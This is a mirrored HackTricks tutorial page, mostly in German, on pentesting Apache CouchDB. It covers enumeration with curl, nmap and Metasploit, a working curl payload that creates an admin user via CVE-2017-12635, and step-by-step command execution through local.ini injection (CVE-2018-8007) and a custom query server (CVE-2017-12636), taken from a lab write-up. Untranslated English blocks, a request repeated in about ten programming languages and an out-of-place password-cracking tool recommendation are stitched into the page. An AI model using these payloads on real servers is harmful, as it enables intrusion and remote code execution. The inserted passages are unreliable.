mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
487 lines
26 KiB
Markdown
487 lines
26 KiB
Markdown
# 5984,6984 - Pentesting CouchDB
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
|
|
|
</details>
|
|
|
|
## **Grundlegende Informationen**
|
|
|
|
**CouchDB** ist eine vielseitige und leistungsstarke **dokumentenorientierte Datenbank**, die Daten mithilfe einer **Schlüssel-Wert-Zuordnung** innerhalb jedes **Dokuments** organisiert. Felder innerhalb des Dokuments können als **Schlüssel/Wert-Paare, Listen oder Maps** dargestellt werden, was Flexibilität bei der Speicherung und Abfrage von Daten ermöglicht.
|
|
|
|
Jedes in CouchDB gespeicherte **Dokument** erhält auf Dokumentenebene eine **eindeutige Kennung** (`_id`). Darüber hinaus wird jeder vorgenommene und in der Datenbank gespeicherte Änderung eine **Revisionsnummer** (`_rev`) zugewiesen. Diese Revisionsnummer ermöglicht eine effiziente **Verfolgung und Verwaltung von Änderungen**, erleichtert das einfache Abrufen und Synchronisieren von Daten in der Datenbank.
|
|
|
|
**Standardport:** 5984 (http), 6984 (https)
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
5984/tcp open unknown syn-ack
|
|
```
|
|
## **Automatische Enumeration**
|
|
|
|
Automatic enumeration is a crucial step in the process of pentesting CouchDB. It involves gathering information about the target system without any manual intervention. This can be done using various tools and techniques.
|
|
|
|
### **1. Nmap**
|
|
|
|
Nmap is a powerful network scanning tool that can be used to discover open ports and services running on a target system. To scan for CouchDB, you can use the following command:
|
|
|
|
```
|
|
nmap -p 5984 <target_ip>
|
|
```
|
|
|
|
### **2. Curl**
|
|
|
|
Curl is a command-line tool that allows you to make HTTP requests. You can use it to interact with the CouchDB API and gather information about the databases and documents present on the target system. Here are a few examples of curl commands that can be used for enumeration:
|
|
|
|
- To list all databases:
|
|
|
|
```
|
|
curl -X GET http://<target_ip>:5984/_all_dbs
|
|
```
|
|
|
|
- To retrieve information about a specific database:
|
|
|
|
```
|
|
curl -X GET http://<target_ip>:5984/<database_name>
|
|
```
|
|
|
|
- To retrieve a specific document from a database:
|
|
|
|
```
|
|
curl -X GET http://<target_ip>:5984/<database_name>/<document_id>
|
|
```
|
|
|
|
### **3. Fauxton**
|
|
|
|
Fauxton is the web-based administration interface for CouchDB. It provides a graphical user interface that allows you to manage and interact with CouchDB instances. By accessing Fauxton on the target system, you can gather information about the databases, documents, and users present on the CouchDB instance.
|
|
|
|
To access Fauxton, open a web browser and navigate to `http://<target_ip>:5984/_utils`.
|
|
|
|
### **4. Metasploit**
|
|
|
|
Metasploit is a popular penetration testing framework that includes a wide range of tools and modules for various tasks. It also provides modules for CouchDB enumeration. You can use the `couchdb_enum` module in Metasploit to automatically enumerate databases and documents on a CouchDB instance.
|
|
|
|
To use the `couchdb_enum` module, open Metasploit and run the following commands:
|
|
|
|
```
|
|
use auxiliary/scanner/couchdb/couchdb_enum
|
|
set RHOSTS <target_ip>
|
|
run
|
|
```
|
|
|
|
These are some of the tools and techniques that can be used for automatic enumeration of CouchDB during a pentesting engagement. By gathering information about the target system, you can gain valuable insights that can be used for further exploitation and vulnerability assessment.
|
|
```bash
|
|
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
|
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
|
```
|
|
### Banner
|
|
|
|
Der Banner ist eine Information, die vom CouchDB-Server zurückgegeben wird, wenn eine Verbindung hergestellt wird. Es enthält Informationen wie die Version der CouchDB-Software und andere Details, die für einen Angreifer nützlich sein können. Um den Banner zu erhalten, kann das Tool `curl` verwendet werden:
|
|
|
|
```plaintext
|
|
curl -X GET http://<IP>:<Port>/
|
|
```
|
|
|
|
### Datenbanken auflisten
|
|
|
|
Um die vorhandenen Datenbanken auf dem CouchDB-Server aufzulisten, kann die folgende Anfrage verwendet werden:
|
|
|
|
```plaintext
|
|
curl -X GET http://<IP>:<Port>/_all_dbs
|
|
```
|
|
|
|
### Dokumente in einer Datenbank auflisten
|
|
|
|
Um die Dokumente in einer bestimmten Datenbank aufzulisten, kann die folgende Anfrage verwendet werden:
|
|
|
|
```plaintext
|
|
curl -X GET http://<IP>:<Port>/<Database_Name>/_all_docs
|
|
```
|
|
|
|
### Dokumente abrufen
|
|
|
|
Um ein bestimmtes Dokument aus einer Datenbank abzurufen, kann die folgende Anfrage verwendet werden:
|
|
|
|
```plaintext
|
|
curl -X GET http://<IP>:<Port>/<Database_Name>/<Document_ID>
|
|
```
|
|
|
|
### Ansichten abrufen
|
|
|
|
Um die Ansichten einer Datenbank abzurufen, kann die folgende Anfrage verwendet werden:
|
|
|
|
```plaintext
|
|
curl -X GET http://<IP>:<Port>/<Database_Name>/_design/<Design_Document_Name>/_view/<View_Name>
|
|
```
|
|
|
|
### Fehlende Berechtigungen überprüfen
|
|
|
|
Um zu überprüfen, ob ein Benutzer auf eine bestimmte Datenbank zugreifen kann, kann die folgende Anfrage verwendet werden:
|
|
|
|
```plaintext
|
|
curl -X GET http://<IP>:<Port>/<Database_Name> -u <Username>:<Password>
|
|
```
|
|
|
|
Wenn der Benutzer keine Berechtigung hat, wird eine Fehlermeldung zurückgegeben.
|
|
|
|
### Schwache Passwörter überprüfen
|
|
|
|
Um schwache Passwörter auf dem CouchDB-Server zu überprüfen, kann das Tool `couchdb-cracker` verwendet werden. Es kann mit dem folgenden Befehl installiert werden:
|
|
|
|
```plaintext
|
|
pip install couchdb-cracker
|
|
```
|
|
|
|
Nach der Installation kann das Tool wie folgt verwendet werden:
|
|
|
|
```plaintext
|
|
couchdb-cracker -u http://<IP>:<Port> -w <Wordlist_Path>
|
|
```
|
|
|
|
Das Tool versucht, sich mit den Benutzernamen "admin" und "root" und den Passwörtern aus der angegebenen Wortliste anzumelden.
|
|
```
|
|
curl http://IP:5984/
|
|
```
|
|
Dies sendet eine GET-Anfrage an eine installierte CouchDB-Instanz. Die Antwort sollte einer der folgenden ähnlich sehen:
|
|
```bash
|
|
{"couchdb":"Welcome","version":"0.10.1"}
|
|
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
|
```
|
|
{% hint style="info" %}
|
|
Beachten Sie, dass beim Zugriff auf die Wurzel von CouchDB eine `401 Unauthorized`-Fehlermeldung mit einer Meldung wie dieser angezeigt wird: `{"error":"unauthorized","reason":"Authentication required."}` **Sie können nicht auf** das Banner oder einen anderen Endpunkt zugreifen.
|
|
{% endhint %}
|
|
|
|
### Info Enumeration
|
|
|
|
Dies sind die Endpunkte, auf die Sie mit einer **GET**-Anfrage zugreifen und einige interessante Informationen extrahieren können. Sie können [**weitere Endpunkte und detailliertere Beschreibungen in der CouchDB-Dokumentation**](https://docs.couchdb.org/en/latest/api/index.html) finden.
|
|
|
|
* **`/_active_tasks`** Liste der laufenden Aufgaben, einschließlich des Aufgabentyps, des Namens, des Status und der Prozess-ID.
|
|
* **`/_all_dbs`** Gibt eine Liste aller Datenbanken in der CouchDB-Instanz zurück.
|
|
* **`/_cluster_setup`** Gibt den Status des Knotens oder Clusters gemäß dem Cluster-Setup-Assistenten zurück.
|
|
* **`/_db_updates`** Gibt eine Liste aller Datenbankereignisse in der CouchDB-Instanz zurück. Das Vorhandensein der Datenbank `_global_changes` ist erforderlich, um diesen Endpunkt zu verwenden.
|
|
* **`/_membership`** Zeigt die Knoten an, die Teil des Clusters sind, als `cluster_nodes`. Das Feld `all_nodes` zeigt alle Knoten an, die dieser Knoten kennt, einschließlich derjenigen, die Teil des Clusters sind.
|
|
* **`/_scheduler/jobs`** Liste der Replikationsaufträge. Jede Auftragsbeschreibung enthält Informationen über Quelle und Ziel, Replikations-ID, eine Historie der letzten Ereignisse und einige andere Dinge.
|
|
* **`/_scheduler/docs`** Liste der Replikationsdokumentzustände. Enthält Informationen zu allen Dokumenten, auch in den Zuständen `completed` und `failed`. Für jedes Dokument werden die Dokument-ID, die Datenbank, die Replikations-ID, Quelle und Ziel sowie andere Informationen zurückgegeben.
|
|
* **`/_scheduler/docs/{replicator_db}`**
|
|
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
|
* **`/_node/{node-name}`** Der Endpunkt `/_node/{node-name}` kann verwendet werden, um den Erlang-Knotennamen des Servers zu bestätigen, der die Anfrage verarbeitet. Dies ist besonders nützlich, wenn Sie auf `/_node/_local` zugreifen, um diese Informationen abzurufen.
|
|
* **`/_node/{node-name}/_stats`** Die Ressource `_stats` gibt ein JSON-Objekt zurück, das die Statistiken für den laufenden Server enthält. Der Literalstring `_local` dient als Alias für den lokalen Knotennamen. Daher kann für alle Statistik-URLs `{node-name}` durch `_local` ersetzt werden, um mit den Statistiken des lokalen Knotens zu interagieren.
|
|
* **`/_node/{node-name}/_system`** Die Ressource `_system` gibt ein JSON-Objekt zurück, das verschiedene systemweite Statistiken für den laufenden Server enthält. Sie können `_local` als `{node-name}` verwenden, um Informationen zum aktuellen Knoten zu erhalten.
|
|
* **`/_node/{node-name}/_restart`**
|
|
* **`/_up`** Bestätigt, dass der Server aktiv, ausgeführt und bereit ist, auf Anfragen zu antworten. Wenn [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) auf `true` oder `nolb` gesetzt ist, gibt der Endpunkt eine 404-Fehlermeldung zurück.
|
|
* **`/_uuids`** Fordert eine oder mehrere universell eindeutige Bezeichner (UUIDs) von der CouchDB-Instanz an.
|
|
* **`/_reshard`** Gibt eine Anzahl abgeschlossener, fehlgeschlagener, laufender, gestoppter und insgesamt ausgeführter Jobs sowie den Zustand des Resharding im Cluster zurück.
|
|
|
|
Weitere interessante Informationen können wie hier erklärt extrahiert werden: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
|
|
|
### **Datenbankliste**
|
|
```
|
|
curl -X GET http://IP:5984/_all_dbs
|
|
```
|
|
Wenn diese Anfrage mit einem **401 unauthorised** antwortet, benötigen Sie gültige Anmeldeinformationen, um auf die Datenbank zuzugreifen:
|
|
```
|
|
curl -X GET http://user:password@IP:5984/_all_dbs
|
|
```
|
|
Um gültige Anmeldeinformationen zu finden, könnten Sie versuchen, den Dienst zu brute-forcen.
|
|
|
|
Dies ist ein Beispiel für eine CouchDB-Antwort, wenn Sie ausreichende Berechtigungen haben, um Datenbanken aufzulisten (Es handelt sich nur um eine Liste von Datenbanken):
|
|
```bash
|
|
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
|
```
|
|
### Datenbankinformationen
|
|
|
|
Sie können einige Informationen zur Datenbank (wie Anzahl der Dateien und Größen) abrufen, indem Sie auf den Datenbanknamen zugreifen:
|
|
```bash
|
|
curl http://IP:5984/<database>
|
|
curl http://localhost:5984/simpsons
|
|
#Example response:
|
|
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
|
|
```
|
|
### **Dokumentenliste**
|
|
|
|
Liste jede Eintragung innerhalb einer Datenbank auf.
|
|
```bash
|
|
curl -X GET http://IP:5984/{dbname}/_all_docs
|
|
curl http://localhost:5984/simpsons/_all_docs
|
|
#Example response:
|
|
{"total_rows":7,"offset":0,"rows":[
|
|
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
|
|
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
|
|
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
|
|
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
|
|
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
|
|
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
|
|
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
|
|
]}
|
|
```
|
|
### **Dokument lesen**
|
|
|
|
Lesen Sie den Inhalt eines Dokuments in einer Datenbank:
|
|
|
|
```bash
|
|
GET /<database>/<document_id>
|
|
```
|
|
|
|
```python
|
|
import requests
|
|
|
|
url = "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
|
|
response = requests.get(url)
|
|
print(response.text)
|
|
```
|
|
|
|
```javascript
|
|
const axios = require('axios');
|
|
|
|
const url = 'http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>';
|
|
axios.get(url)
|
|
.then(response => {
|
|
console.log(response.data);
|
|
})
|
|
.catch(error => {
|
|
console.error(error);
|
|
});
|
|
```
|
|
|
|
```ruby
|
|
require 'net/http'
|
|
|
|
url = URI.parse("http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>")
|
|
http = Net::HTTP.new(url.host, url.port)
|
|
request = Net::HTTP::Get.new(url.path)
|
|
response = http.request(request)
|
|
puts response.body
|
|
```
|
|
|
|
```powershell
|
|
Invoke-RestMethod -Method GET -Uri "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
|
|
```
|
|
|
|
```php
|
|
<?php
|
|
|
|
$url = "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>";
|
|
$response = file_get_contents($url);
|
|
echo $response;
|
|
|
|
?>
|
|
```
|
|
|
|
```java
|
|
import java.io.BufferedReader;
|
|
import java.io.InputStreamReader;
|
|
import java.net.HttpURLConnection;
|
|
import java.net.URL;
|
|
|
|
public class Main {
|
|
public static void main(String[] args) {
|
|
try {
|
|
URL url = new URL("http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>");
|
|
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
|
|
conn.setRequestMethod("GET");
|
|
BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
|
|
String line;
|
|
StringBuilder result = new StringBuilder();
|
|
while ((line = rd.readLine()) != null) {
|
|
result.append(line);
|
|
}
|
|
rd.close();
|
|
System.out.println(result.toString());
|
|
} catch (Exception e) {
|
|
e.printStackTrace();
|
|
}
|
|
}
|
|
}
|
|
```
|
|
|
|
```csharp
|
|
using System;
|
|
using System.Net;
|
|
|
|
class Program
|
|
{
|
|
static void Main()
|
|
{
|
|
using (WebClient client = new WebClient())
|
|
{
|
|
string url = "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>";
|
|
string response = client.DownloadString(url);
|
|
Console.WriteLine(response);
|
|
}
|
|
}
|
|
}
|
|
```
|
|
|
|
```go
|
|
package main
|
|
|
|
import (
|
|
"fmt"
|
|
"io/ioutil"
|
|
"net/http"
|
|
)
|
|
|
|
func main() {
|
|
url := "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
|
|
resp, err := http.Get(url)
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
return
|
|
}
|
|
defer resp.Body.Close()
|
|
body, err := ioutil.ReadAll(resp.Body)
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
return
|
|
}
|
|
fmt.Println(string(body))
|
|
}
|
|
```
|
|
|
|
```powershell
|
|
Invoke-WebRequest -Method GET -Uri "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
|
|
```
|
|
|
|
```bash
|
|
curl -X GET "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
|
|
```
|
|
```bash
|
|
curl -X GET http://IP:5984/{dbname}/{id}
|
|
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
|
#Example response:
|
|
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
|
```
|
|
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
|
|
|
Dank der Unterschiede zwischen den Erlang- und JavaScript-JSON-Parsern können Sie mit folgendem Befehl einen Administrator-Benutzer mit den Anmeldeinformationen `hacktricks:hacktricks` erstellen:
|
|
```bash
|
|
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
|
```
|
|
[**Weitere Informationen zu dieser Schwachstelle finden Sie hier**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
|
|
|
## CouchDB RCE
|
|
|
|
### **Erlang-Cookie-Sicherheitsüberblick**
|
|
|
|
Beispiel [von hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
|
|
|
In der CouchDB-Dokumentation, speziell im Abschnitt zur Cluster-Einrichtung ([Link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), wird die Verwendung von Ports durch CouchDB im Cluster-Modus diskutiert. Es wird erwähnt, dass, wie im Standalone-Modus, Port `5984` verwendet wird. Zusätzlich wird Port `5986` für node-lokale APIs verwendet und wichtig ist, dass Erlang TCP-Port `4369` für den Erlang Port Mapper Daemon (EPMD) benötigt, der die Kommunikation zwischen den Knoten in einem Erlang-Cluster ermöglicht. Diese Einrichtung bildet ein Netzwerk, in dem jeder Knoten mit jedem anderen Knoten verbunden ist.
|
|
|
|
Ein wichtiger Sicherheitshinweis betrifft Port `4369`. Wenn dieser Port über das Internet oder ein ungesichertes Netzwerk zugänglich gemacht wird, hängt die Sicherheit des Systems stark von einem eindeutigen Identifikator ab, der als "Cookie" bezeichnet wird. Dieser Cookie dient als Schutzmaßnahme. Zum Beispiel könnte in einer gegebenen Prozessliste der Cookie mit dem Namen "monster" beobachtet werden, was auf seine operative Rolle im Sicherheitsframework des Systems hinweist.
|
|
```
|
|
www-data@canape:/$ ps aux | grep couchdb
|
|
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
|
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
|
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
|
```
|
|
Für diejenigen, die verstehen möchten, wie dieses "Cookie" für Remote Code Execution (RCE) im Kontext von Erlang-Systemen ausgenutzt werden kann, steht ein eigener Abschnitt für weitere Informationen zur Verfügung. Dort werden die Methoden zur unbefugten Nutzung von Erlang-Cookies zur Übernahme der Kontrolle über Systeme detailliert beschrieben. Sie können **[hier den detaillierten Leitfaden zur Ausnutzung von Erlang-Cookies für RCE erkunden](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
|
|
|
### **Ausnutzung von CVE-2018-8007 durch Änderung der local.ini**
|
|
|
|
Beispiel [von hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
|
|
|
Eine kürzlich bekannt gegebene Schwachstelle, CVE-2018-8007, die Apache CouchDB betrifft, wurde untersucht und dabei festgestellt, dass für die Ausnutzung Schreibberechtigungen für die `local.ini`-Datei erforderlich sind. Obwohl dies aufgrund von Sicherheitsbeschränkungen nicht direkt auf das anfängliche Zielsystem anwendbar ist, wurden Änderungen vorgenommen, um Schreibzugriff auf die `local.ini`-Datei zu gewähren, um den Prozess zu erkunden. Detaillierte Schritte und Codebeispiele werden unten bereitgestellt, um den Vorgang zu veranschaulichen.
|
|
|
|
Zunächst wird die Umgebung vorbereitet, indem sichergestellt wird, dass die `local.ini`-Datei beschreibbar ist. Dies wird überprüft, indem die Berechtigungen aufgelistet werden:
|
|
```bash
|
|
root@canape:/home/homer/etc# ls -l
|
|
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
|
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
|
|
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
|
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
|
```
|
|
Um die Schwachstelle auszunutzen, wird ein Curl-Befehl ausgeführt, der auf die `cors/origins`-Konfiguration in `local.ini` abzielt. Dadurch wird ein neuer Ursprung zusammen mit zusätzlichen Befehlen unter dem Abschnitt `[os_daemons]` eingefügt, um beliebigen Code auszuführen:
|
|
```bash
|
|
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
|
```
|
|
Nachfolgende Überprüfung zeigt die injizierte Konfiguration in `local.ini`, indem sie sie mit einem Backup vergleicht, um die Änderungen hervorzuheben:
|
|
```bash
|
|
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
|
119,124d118
|
|
< [cors]
|
|
< origins = 0xdf
|
|
< [os_daemons]
|
|
< test_daemon = /usr/bin/touch /tmp/0xdf
|
|
```
|
|
Zunächst existiert die erwartete Datei (`/tmp/0xdf`) nicht, was darauf hinweist, dass der injizierte Befehl noch nicht ausgeführt wurde. Weitere Untersuchungen zeigen, dass Prozesse im Zusammenhang mit CouchDB ausgeführt werden, darunter einer, der potenziell den injizierten Befehl ausführen könnte:
|
|
```bash
|
|
root@canape:/home/homer/bin# ps aux | grep couch
|
|
```
|
|
Durch Beenden des identifizierten CouchDB-Prozesses und Zulassen des automatischen Neustarts wird die Ausführung des injizierten Befehls ausgelöst, wie durch das Vorhandensein der zuvor fehlenden Datei bestätigt wird:
|
|
```bash
|
|
root@canape:/home/homer/etc# kill 711
|
|
root@canape:/home/homer/etc# ls /tmp/0xdf
|
|
/tmp/0xdf
|
|
```
|
|
Diese Untersuchung bestätigt die Durchführbarkeit der Ausnutzung von CVE-2018-8007 unter bestimmten Bedingungen, insbesondere der Notwendigkeit eines beschreibbaren Zugriffs auf die Datei `local.ini`. Die bereitgestellten Codebeispiele und Verfahrensschritte bieten eine klare Anleitung zur Reproduktion des Exploits in einer kontrollierten Umgebung.
|
|
|
|
Für weitere Details zu CVE-2018-8007 siehe den Bericht von mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
|
|
|
### **Erkundung von CVE-2017-12636 mit Schreibberechtigungen auf local.ini**
|
|
|
|
Beispiel [von hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
|
|
|
Es wurde eine Schwachstelle namens CVE-2017-12636 untersucht, die die Ausführung von Code über den CouchDB-Prozess ermöglicht, obwohl bestimmte Konfigurationen ihre Ausnutzung verhindern können. Trotz zahlreicher verfügbarer Proof-of-Concept (POC)-Referenzen sind Anpassungen erforderlich, um die Schwachstelle in CouchDB Version 2 auszunutzen, die sich von der üblicherweise angegriffenen Version 1.x unterscheidet. Die ersten Schritte bestehen darin, die CouchDB-Version zu überprüfen und das Fehlen des erwarteten Query-Server-Pfads zu bestätigen:
|
|
```bash
|
|
curl http://localhost:5984
|
|
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
|
```
|
|
Um CouchDB Version 2.0 anzupassen, wird ein neuer Pfad verwendet:
|
|
```bash
|
|
curl 'http://0xdf:df@localhost:5984/_membership'
|
|
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
|
```
|
|
Versuche, einen neuen Abfrage-Server hinzuzufügen und aufzurufen, führten zu Berechtigungsfehlern, wie aus der folgenden Ausgabe hervorgeht:
|
|
```bash
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
|
```
|
|
Weitere Untersuchungen ergaben Berechtigungsprobleme mit der `local.ini`-Datei, die nicht beschreibbar war. Durch Ändern der Dateiberechtigungen mit Root- oder Homer-Zugriff wurde es möglich, fortzufahren:
|
|
```bash
|
|
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
|
chmod 666 /home/homer/etc/local.ini
|
|
```
|
|
Nachfolgende Versuche, den Abfrageserver hinzuzufügen, waren erfolgreich, wie durch das Fehlen von Fehlermeldungen in der Antwort gezeigt wurde. Die erfolgreiche Änderung der `local.ini`-Datei wurde durch den Dateivergleich bestätigt:
|
|
```bash
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
|
```
|
|
Der Prozess wurde fortgesetzt mit der Erstellung einer Datenbank und eines Dokuments, gefolgt von dem Versuch, Code über eine benutzerdefinierte Ansicht auszuführen, die auf den neu hinzugefügten Abfrageserver abgebildet ist:
|
|
```bash
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
|
```
|
|
Eine **[Zusammenfassung](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** mit einer alternativen Nutzlast bietet weitere Einblicke in die Ausnutzung von CVE-2017-12636 unter bestimmten Bedingungen. **Nützliche Ressourcen** zur Ausnutzung dieser Schwachstelle sind:
|
|
|
|
- [POC-Exploit-Code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
|
- [Eintrag in der Exploit-Datenbank](https://www.exploit-db.com/exploits/44913/)
|
|
|
|
## Shodan
|
|
|
|
* `port:5984 couchdb`
|
|
|
|
## Referenzen
|
|
|
|
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
|
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|